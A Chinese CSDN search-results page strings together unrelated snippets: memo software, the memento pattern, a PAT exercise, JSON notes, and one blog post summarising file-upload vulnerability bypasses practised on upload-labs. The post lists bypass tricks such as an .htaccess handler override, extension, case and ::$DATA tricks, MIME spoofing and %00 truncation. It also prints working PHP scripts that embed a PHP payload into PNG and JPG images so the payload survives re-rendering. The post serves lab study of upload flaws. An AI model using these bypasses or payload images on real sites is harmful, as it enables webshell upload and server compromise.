精华内容
下载资源
问答
  • 51桌面备忘录软件是一款非常好用的桌面备忘录软件,可以把你的生活备忘、工作任务、学习计划、生日提醒、心情日记、创意灵感等全部备忘录里面,非常方便实用,不过需要注册才能使用。该软件操作界面简洁、有序用...
  • 1.为什么备忘录模式 假设大战僵尸游戏共10关,越是往后关卡越难,越难就越是费时间费钱费精力。 开始大战僵尸,玩了好久好久终于玩到了第9关,真是不容易。 这个时候开始玩第9关了,哇,难啊,真不幸,输...

     1.为什么用备忘录模式

     

    假设大战僵尸游戏共10关,越是往后关卡越难,越难就越是费时间费钱费精力。

     

    开始大战僵尸,玩了好久好久终于玩到了第9关,真是不容易。

    这个时候开始玩第9关了,哇,好难啊,真不幸,输掉了。

    好沮丧,只能从第一关再来一轮了。

     

    要是第9关玩输了以后,直接再从第9关开始玩,而不是从头再来。那该多好呀,会省不少时间的。

     

    那能不能把玩到第9关这个游戏进度给保存下来

    用备忘录模式

     

     

     

     

    2. 定义

    在不破坏封闭的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。这样以后就可将该对象恢复到原先保存的状态。

     

    3.备忘录模式的优点
    1、有时一些发起人对象的内部信息必须保存在发起人对象以外的地方,但是必须要由发起人对象自己读取,这时,
    使用备忘录模式可以把复杂的发起人内部信息对其他的对象屏蔽起来,从而可以恰当地保持封装的边界。
    2、本模式简化了发起人类。发起人不再需要管理和保存其内部状态的一个个版本,客户端可以自行管理他们所需
    要的这些状态的版本。
    3、当发起人角色的状态改变的时候,有可能这个状态无效,这时候就可以使用暂时存储起来的备忘录将状态复原。
     
    4.备忘录模式的缺点:
    1、如果发起人角色的状态需要完整地存储到备忘录对象中,那么在资源消耗上面备忘录对象会很昂贵。
    2、当负责人角色将一个备忘录 存储起来的时候,负责人可能并不知道这个状态会占用多大的存储空间,从而无法提醒用户一个操作是否很昂贵。
    3、当发起人角色的状态改变的时候,有可能这个协议无效。如果状态改变的成功率不高的话,不如采取“假如”协议模式。

     

     

     

     

    参考原文

    https://baike.baidu.com/item/%E5%A4%87%E5%BF%98%E5%BD%95%E6%A8%A1%E5%BC%8F/1430849?fr=aladdin

    转载于:https://www.cnblogs.com/baxianhua/p/10955900.html

    展开全文
  • docs:备忘录文档-源码

    2021-03-28 15:39:24
    什么备忘录? 介绍 重新阅读笔记效率低下 一遍又一遍地重读笔记是没有效率的,而且真的很有趣。 要记住您的笔记,您必须通过下来的内容或进行一些测验来从大脑中获取知识。 Memoet通过为每个笔记提供测验表格来...
  • 一个加密的备忘录 (适用于有一点数据库基础的人使用) ## 起源 个人账号密码很多几十个, 有人说现在都是用手机短信登录还用什么账号密码, 手机是个不定数,如果换了就比较麻烦了, 个人觉得邮箱比较...
  • 乙级PAT1001备忘录

    2017-08-13 16:33:04
    这题没什么技术含量,就是个简单的判断和循环而已,只要设置条件就按部就班出来。 毕竟是复习C,所以就记录下C的代码: #include int main(int argc, const char * argv[]) { int n = 1000; scanf("%d",&n)

    最近想复习下C语言,顺便扎实下算法基础,就选了PAT来刷题,在这里记录下:



    这题没什么技术含量,就是个简单的判断和循环而已,只要设置好条件就按部就班写出来。

    毕竟是复习C,所以就记录下C的代码:

    #include <stdio.h>
    
    int main(int argc, const char * argv[]) {
        int n = 1000;
        scanf("%d",&n);
        int count=0;
        while(n!=1)//临界条件
        {
            if(n%2==0)//如果它是偶数,那么砍掉一半
            {
                n/=2;
            }else//如果它是奇数,则用公式计算
            {
                n=(3*n+1)/2;
            }
            count++;//记录次数
        }
        printf("%d\n",count);
        return 0;
    }

      由于简单,我便用这个系统分别测试了下C,C++和python2.7的代码,果然python在简单的同时牺牲了太多。




    展开全文
  • 文件上传漏洞备忘录

    2020-03-24 15:21:38
    这篇文章算是我自己做完upload-labs和DoraBox上传文件靶场的一个总结,方法都是很常见的,也没有什么高难度,所以也算是小白文。如果我的有错误欢迎指正 ????。 JS校验 这种是比较理解也比较操作的,只需要...

    写在前面

    这篇文章算是我自己做完upload-labs和DoraBox上传文件靶场的一个总结,方法都是很常见的,也没有什么高难度,所以也算是小白文。如果我写的有错误欢迎指正 😃。

    JS校验

    这种是比较好理解也比较好操作的,只需要Burp抓包拦截,然后修改后缀名即可达到绕过的目的。

    黑白名单

    黑名单就是不允许的名单,白名单就是只允许的名单。

    黑名单有以下几种方法绕过:

    1. 特殊后缀,例如要上传php一句话,已知网站不允许上传php文件类型,则可以上传php2、php3、php4、phtml等类型。
    2. 上传 htaccess文件。htaccess文件会把传入的指定的文件当作php文件执行。AddType application/x-httpd-php .jpg
    3. 大小写。将原本的php后缀变成大小写混杂,变成PhP、pHP等,以达到绕过的目的。
    4. 点绕过。抓包拦截在php后面加上一个.,变成.php.。
    5. 空格绕过。抓包拦截,在php后面加上一个空格。
    6. :: $DATA绕过。基于Windows的特性,就是如果文件名后面加上:: $DATA,会把DATA之后的数据当成文件流处理,不会检测后缀名,整个文件的类型保持::$DATA之前的文件类型。
    7. 双写绕过。将原本的php改写成phphpp,达到上传目的。

    白名单有以下几种方法:

    1. MIME绕过。这个方法是看Content-type的值,传入的是php文件,但是可以抓包修改Content-type的值为image/jpeg,让网站以为这是一个被允许的jpg文件。
    2. %00截断绕过。通常存在于构造上传文件路径的时候

    函数绕过

    两个函数,一个是getimagesize()函数,一个是exif_imagetype()函数。

    getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

    exif_imagetype()获取图片类型,预定义以下常量用于返回
    IMAGETYPE_GIF、IMAGETYPE_JPEG、IMAGETYPE_PNG、IMAGETYPE_SWF、IMAGETYPE_PSD等。

    绕过方法是上传图片马,配合解析漏洞拿到shell。

    二次渲染

    对于这个原理理解的并不是很透彻。记录一下从别处看到的解释,相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了。

    对于gif格式来说,只需要找到渲染前后没有变化的位置,然后通过16进制编辑器把php代码写进去,就可以成功上传带有php代码的图片。

    而对于png和jpg格式,在网上找了找,原谅我的小白,看不太懂 。

    但是也记录下方法,是根据国外的大牛编写的脚本。

    png:

    <?php
     $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
                0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
                0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
                0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
                0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
                0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
                0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
                0x66, 0x44, 0x50, 0x33);
     
     $img = imagecreatetruecolor(32, 32);
     
     for ($y = 0; $y < sizeof($p); $y += 3) {
        $r = $p[$y];
        $g = $p[$y+1];
        $b = $p[$y+2];
        $color = imagecolorallocate($img, $r, $g, $b);
        imagesetpixel($img, round($y / 3), 0, $color);
     }
     
     imagepng($img,'./1.png');
     ?>
    

    jpg:

    <?php
         /*
     
         The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
         It is necessary that the size and quality of the initial image are the same as those of the processed image.
     
         1) Upload an arbitrary image via secured files upload script
         2) Save the processed image and launch:
         jpg_payload.php <jpg_name.jpg>
     
         In case of successful injection you will get a specially crafted image, which should be uploaded again.
     
         Since the most straightforward injection method is used, the following problems can occur:
         1) After the second processing the injected data may become partially corrupted.
         2) The jpg_payload.php script outputs "Something's wrong".
         If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
     
         Sergey Bobrov @Black2Fan.
     
         See also:
         https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
     
         */
     
         $miniPayload = "<?=phpinfo();?>";
     
     
         if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
             die('php-gd is not installed');
        }
     
         if(!isset($argv[1])) {
             die('php jpg_payload.php <jpg_name.jpg>');
        }
     
         set_error_handler("custom_error_handler");
     
         for($pad = 0; $pad < 1024; $pad++) {
             $nullbytePayloadSize = $pad;
             $dis = new DataInputStream($argv[1]);
             $outStream = file_get_contents($argv[1]);
             $extraBytes = 0;
             $correctImage = TRUE;
     
             if($dis->readShort() != 0xFFD8) {
                 die('Incorrect SOI marker');
            }
     
             while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                 $marker = $dis->readByte();
                 $size = $dis->readShort() - 2;
                 $dis->skip($size);
                 if($marker === 0xDA) {
                     $startPos = $dis->seek();
                     $outStreamTmp =
                         substr($outStream, 0, $startPos) .
                         $miniPayload .
                         str_repeat("\0",$nullbytePayloadSize) .
                         substr($outStream, $startPos);
                     checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                     if($extraBytes !== 0) {
                         while((!$dis->eof())) {
                             if($dis->readByte() === 0xFF) {
                                 if($dis->readByte !== 0x00) {
                                     break;
                                }
                            }
                        }
                         $stopPos = $dis->seek() - 2;
                         $imageStreamSize = $stopPos - $startPos;
                         $outStream =
                             substr($outStream, 0, $startPos) .
                             $miniPayload .
                             substr(
                                 str_repeat("\0",$nullbytePayloadSize).
                                     substr($outStream, $startPos, $imageStreamSize),
                                 0,
                                 $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                     substr($outStream, $stopPos);
                    } elseif($correctImage) {
                         $outStream = $outStreamTmp;
                    } else {
                         break;
                    }
                     if(checkImage('payload_'.$argv[1], $outStream)) {
                         die('Success!');
                    } else {
                         break;
                    }
                }
            }
        }
         unlink('payload_'.$argv[1]);
         die('Something\'s wrong');
     
         function checkImage($filename, $data, $unlink = FALSE) {
             global $correctImage;
             file_put_contents($filename, $data);
             $correctImage = TRUE;
             imagecreatefromjpeg($filename);
             if($unlink)
                 unlink($filename);
             return $correctImage;
        }
     
         function custom_error_handler($errno, $errstr, $errfile, $errline) {
             global $extraBytes, $correctImage;
             $correctImage = FALSE;
             if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                 if(isset($m[1])) {
                     $extraBytes = (int)$m[1];
                }
            }
        }
     
         class DataInputStream {
             private $binData;
             private $order;
             private $size;
     
             public function __construct($filename, $order = false, $fromString = false) {
                 $this->binData = '';
                 $this->order = $order;
                 if(!$fromString) {
                     if(!file_exists($filename) || !is_file($filename))
                         die('File not exists ['.$filename.']');
                     $this->binData = file_get_contents($filename);
                } else {
                     $this->binData = $filename;
                }
                 $this->size = strlen($this->binData);
            }
     
             public function seek() {
                 return ($this->size - strlen($this->binData));
            }
     
             public function skip($skip) {
                 $this->binData = substr($this->binData, $skip);
            }
     
             public function readByte() {
                 if($this->eof()) {
                     die('End Of File');
                }
                 $byte = substr($this->binData, 0, 1);
                 $this->binData = substr($this->binData, 1);
                 return ord($byte);
            }
     
             public function readShort() {
                 if(strlen($this->binData) < 2) {
                     die('End Of File');
                }
                 $short = substr($this->binData, 0, 2);
                 $this->binData = substr($this->binData, 2);
                 if($this->order) {
                     $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                     $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                 return $short;
            }
     
             public function eof() {
                 return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    

    借助图片马上传。

    文件头绕过

    方法比较容易理解,增加不同16进制文件头进行绕过即可。

    jpg FF D8 FF E0 00 10 4A 46 49 46

    gif 47 49 46 38 39 61

    png 89 50 4E 47

    条件竞争

    有的网站会先将上传的文件保存进来,之后再对文件类型进行过滤,符合要求的留下,不被允许的类型删除。

    要利用的就是这段时间段。用Burp的爆破功能,一方面不断上传,另一方面不断访问我们上传的文件。

    备忘录就先到这里,有关于上传文件漏洞的方式方法当然不止文中提及的这些,文中如果有错误之处欢迎批评指正。感谢!!

    展开全文
  • JSON学习备忘录

    2012-01-04 15:35:00
    这个是我从写好的文档复制过来的,不知道为什么有些字体不一样。2,学习备忘 2.1,JSON数据交换使用,非常适合JS。 2.2,用逗号分割数据,用[]保存数组,用{}保存对象。 2.3,书写格式: ...

    1,前言
    因为需要做个小东西,用到这个东西,所以那过来看看,做了一个初步的学习笔记,供以后自己查看。并不是很全面深入,待以后随时补充。

    这个是我从写好的文档复制过来的,不知道为什么有些字体不一样。
    2,学习备忘
    2.1,JSON数据交换使用,非常适合JS。
    2.2,用逗号分割数据,用[]保存数组,用{}保存对象。
    2.3,书写格式:
    名称:值
    同时用””包含,”name”:”marvin”
    数字值不加。
    2.4,数组里面可以有多个对象,对象里面可以有数组

    例子: { "employees":[ {"firstName":"John" , "lastName":"Doe"}, {"firstName":"Anna" , "lastName":"Smith"}, {"firstName":"Peter" , "lastName":"Jones"} ] } 引用: employees[0].lastName; 返回内容:Gates 可以修改:employees[0].lastName=”jobs” 注意:1,用的时候双引号是英文半角,中文是无法识别

    2,JSON文件的文件类型是".json"
    3,JSON文本的MIME类型是"application/json"
    4,JSON最常见的用法之一,是从web服务器上读取JSON数据(作为文件或作为HttpRequest),将JSON数据转换为JavaScript对象,然后在网页中使用该数据。
    说明一点:关于JS单引号双引号问题,在JS里面是一个意思,但是如果要引号嵌套或者输出,需要结合使用,比如要输出‘你好!’就要写document.write("'你好!'"),反之亦然;在SHELL里面,引号是含义不同的,详细可以看我博客里面的关于SHELL引号的介绍;

    举个引号的例子:

    vartxt = '{ "employees" : [' + '{"firstName":"Bill" , "lastName":"Gates"},' + '{"firstName":"George" , "lastName":"Bush"},' + '{"firstName":"Thomas" , "lastName":"Carter"} ]}'; 怎么用呢:varobj=eval ("(" + txt +")");

    说明:上面的txt看懂了没?引号匹配是不是有点奇怪,我开始时候发现这个不匹配么,所以改了,结果报错,查看一下eval()函数说明,里面参数是字符串,懂了,其实很简单,上面是三个字符串连接而已,只不过凑成了json格式,蛋疼吧。
    我们把上面所有单引号换成双引号,试试看?结果如何,没有输出了吧,换成单引号?不对吧。呵呵,对于JS来说,引号嵌套要换种形式,所以下面这样也是对的:
    vartxt="{ 'employees' : [" + "{'firstName':'Bill','lastName':'Gates' }," + "{'firstName':'George','lastName':'Bush' }," +"{'firstName':'Thomas','lastName':'Carter' } ]}";

    虽然是小问题,但是有时候会出奇怪的错误。
    至于为什么使用时候非要加上(),这个因为json是以{}标记开始结束,JS会以为是一个语句块,加上()强制使JS认为是表达式才能处理这个字符串。
    其实实际中推荐使用函数

    varjson='{"name":"CJ","age":18}'; data=(new Function("","return "+json))();

    这样就可以了。
    因为:eval()函数可编译并执行任何JavaScript代码。一个潜在的安全问题。


    3,后续

    继续学习。






    展开全文
  • CORE ANIMATION的学习备忘录(第一天) 研究Core Animation已经有段时间了,关于Core Animation,网上没什么好的介绍。苹果网站上有篇专门的总结性介绍,但是似乎原理性的东西不多,看得人云山雾罩,感觉,那篇...
  • 这是给自己的备忘录,用自己熟悉的语言标注一下stl 每个函数都是做什么的。 首先是我一直都把algrithm这次拼错了,也读错了,我一直以为是alogrithm。 接下来是每个函数的简短说明: adjacent_find:查找相邻的...
  • java 设计模式之备忘录模式①⑧定义角色分析使用场景代码实现(经典案例一)代码实现(经典案例二) 撑不住的时候,可以对自己说声“我累”,但永远不要在心里承认说“我不行”。不要在最该奋斗的年纪选择了安逸。没...
  • 研究Core Animation已经有段时间了,关于Core Animation,网上没什么好的介绍。苹果网站上有篇专门的总结性介绍,但是似乎原理性的东西不多,看得人云山雾罩,感觉,那篇东西的人,其实是假设读的人了解界面动画...
  • 点东西的原因:工作五年了,忙忙碌碌的,不停的开发,不停的改bug,在这些快乐和痛苦的日子里,感觉知识零零散散,没有一个系统的总结,还真觉得自己什么都没有。 所以我下定决心把自己做过的东西整理一下。 ...
  • 研究Core Animation已经有段时间了,关于Core Animation,网上没什么好的介绍。苹果网站上有篇专门的总结性介绍,但是似乎原理性的东西不多,看得人云山雾罩,感觉,那篇东西的人,其实是假设读的人了解界面动画...
  • 各位铁子们,晚上,想做《语言的魅力》很久了,前段时间一直在忙着做毕业论文和毕业答辩的事情,今天才有时间下第一篇,做这期专栏的灵感来源于有次看到某个博主用css做出了一个星空样式还是什么,具体忘了,对...
  • 相当于java的工具类,jQuery是存放js代码的地方,有很多事先写好的function。 二、引入jQuery <script type="text/javascript" src="xxx/jquery-x.x.x.js"></script> 指定jQuery的库文件位置,使用相对...
  • 学习python,在cmd运行程序总是让人觉得麻烦,而且用记事本或者其他notepad++等程序总是没有智能提示,那么运用什么ide呢?本人选择vs2017,vs现在基本支持绝大部分主流编程语言的开发,而且本人长时间使用vs各...
  • 为了自己下次不再犯错,特此备忘录!1.SqlServer2000远程连接问题:昨天在另一台机子连我的分析服务时,怎么也连不上,总提示“无法连接到服务器”。我就想了,先看SqlServer连的上不?这一瞧不要紧,我明明记得...
  • B\S备忘录08——工作流

    热门讨论 2015-03-12 13:09:16
    看了几天的工作流了,最终也没把demo做出来,但是例子主要说得什么还都是懂得差不多了。反正要博客,凑一篇吧。  首先,什么是工作流,为什么会出现工作流。  百度百科我就不复制了,说说我的理解,以前我们做...
  • 问题提出 ...代码到现在,相信小伙伴们都应该知道要注意一些什么事情。 比如: - 降低类与类之间的耦合性,尽量面向接口编程 - 尽可能的降低类的可见性。客户端能接触到的类越少越(包...
  • B\S备忘录16——tomcat压缩版安装

    热门讨论 2015-05-29 21:49:25
    上次刚说了要自己搭一个cas...吧,既然官网给了咱们压缩包,为什么还有安装版这种东西。  网上搜了一下,果然不难装。  首先你要有个JDK,然后配一下环境变量:JAVA_HOME,变量值JDK目录就行了。  然后解压to
  • 很遗憾我没在一开始就加入这个项目,加入的时候也只是赶了一个小尾巴,幸好我还算勤快点的,有问题就跑去问,一天跑个五六回都是小事,HTML,JavaScript什么的都不会个页面Div还乱了,研究了半天怎么把弹...
  • 这两天突然想到我有两段时间可以充分的利用一下。那就是每天上下班的路上。这两段时间可不是一般的啊。...用笔肯定是不现实的,拿什么东西下语音是一个不错的解决方案。而且可以立即执行阿,因为我拥有一个P...
  • 研究Core Animation已经有段时间了,关于Core Animation,网上没什么好的介绍。苹果网站上有篇专门的总结性介绍,但是似乎原理性的东西不多,看得人云山雾罩,感觉,那篇东西的人,其实是假设读的人了解界面动画...
  • 迭代器模式 就是被调用的类型,无论是数组还是链表都继承一个 Iterator...备忘录模式 这个模式真的没啥说的,就是有一个状态类集合存放了你很多的状态,当你需要恢复的时候就取一下就了 状态模式 有点类似于自动机

空空如也

空空如也

1 2 3 4 5 ... 8
收藏数 151
精华内容 60
关键字:

备忘录写什么好